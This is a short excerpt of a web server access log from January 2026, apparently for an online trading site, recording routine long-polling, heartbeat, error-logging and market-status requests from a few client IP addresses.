[09/Jan/2026:09:55:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924005437 HTTP/1.1" -
[09/Jan/2026:09:55:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:55:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:55:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:55:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923992053 HTTP/1.1" -
[09/Jan/2026:09:55:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923995898 HTTP/1.1" -
[09/Jan/2026:09:55:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923994200 HTTP/1.1" -
[09/Jan/2026:09:55:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924010459 HTTP/1.1" -
[09/Jan/2026:09:55:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924001075 HTTP/1.1" -
[09/Jan/2026:09:55:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923998056 HTTP/1.1" -
[09/Jan/2026:09:55:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923999222 HTTP/1.1" -
[09/Jan/2026:09:55:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:55:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:55:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:55:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:55:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924015492 HTTP/1.1" -
[09/Jan/2026:09:55:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924006218 HTTP/1.1" -
[09/Jan/2026:09:55:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924004055 HTTP/1.1" -
[09/Jan/2026:09:55:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924004246 HTTP/1.1" -
[09/Jan/2026:09:55:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924020550 HTTP/1.1" -
[09/Jan/2026:09:55:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924011276 HTTP/1.1" -
[09/Jan/2026:09:55:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924009271 HTTP/1.1" -
[09/Jan/2026:09:55:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924010054 HTTP/1.1" -
[09/Jan/2026:09:55:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924025622 HTTP/1.1" -
[09/Jan/2026:09:55:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:55:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924016443 HTTP/1.1" -
[09/Jan/2026:09:55:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924014299 HTTP/1.1" -
[09/Jan/2026:09:55:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924030673 HTTP/1.1" -
[09/Jan/2026:09:55:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924016054 HTTP/1.1" -
[09/Jan/2026:09:55:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924021577 HTTP/1.1" -
[09/Jan/2026:09:55:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924019335 HTTP/1.1" -
[09/Jan/2026:09:55:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924035734 HTTP/1.1" -
[09/Jan/2026:09:55:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:55:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:55:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:55:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924026740 HTTP/1.1" -
[09/Jan/2026:09:55:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924024381 HTTP/1.1" -
[09/Jan/2026:09:55:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924040794 HTTP/1.1" -
[09/Jan/2026:09:56:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924031909 HTTP/1.1" -
[09/Jan/2026:09:56:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924029411 HTTP/1.1" -
[09/Jan/2026:09:56:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:56:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:56:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924045823 HTTP/1.1" -
[09/Jan/2026:09:56:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924037058 HTTP/1.1" -
[09/Jan/2026:09:56:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924034448 HTTP/1.1" -
[09/Jan/2026:09:56:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924050880 HTTP/1.1" -
[09/Jan/2026:09:56:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924039488 HTTP/1.1" -
[09/Jan/2026:09:56:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924042111 HTTP/1.1" -
[09/Jan/2026:09:56:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924056236 HTTP/1.1" -
[09/Jan/2026:09:56:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924022054 HTTP/1.1" -
[09/Jan/2026:09:56:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:56:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924044520 HTTP/1.1" -
[09/Jan/2026:09:56:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924047171 HTTP/1.1" -
[09/Jan/2026:09:56:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924062233 HTTP/1.1" -
[09/Jan/2026:09:56:18 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924047054 HTTP/1.1" -
[09/Jan/2026:09:56:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924049536 HTTP/1.1" -
[09/Jan/2026:09:56:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924052317 HTTP/1.1" -
[09/Jan/2026:09:56:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:56:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:56:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:56:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924068230 HTTP/1.1" -
[09/Jan/2026:09:56:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924053054 HTTP/1.1" -
[09/Jan/2026:09:56:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924054582 HTTP/1.1" -
[09/Jan/2026:09:56:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924057479 HTTP/1.1" -
[09/Jan/2026:09:56:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924059601 HTTP/1.1" -
[09/Jan/2026:09:56:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924074227 HTTP/1.1" -
[09/Jan/2026:09:56:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:56:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:56:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924059810 HTTP/1.1" -
[09/Jan/2026:09:56:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924062603 HTTP/1.1" -
[09/Jan/2026:09:56:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:56:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:56:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924064618 HTTP/1.1" -
[09/Jan/2026:09:56:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924067746 HTTP/1.1" -
[09/Jan/2026:09:56:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924065053 HTTP/1.1" -
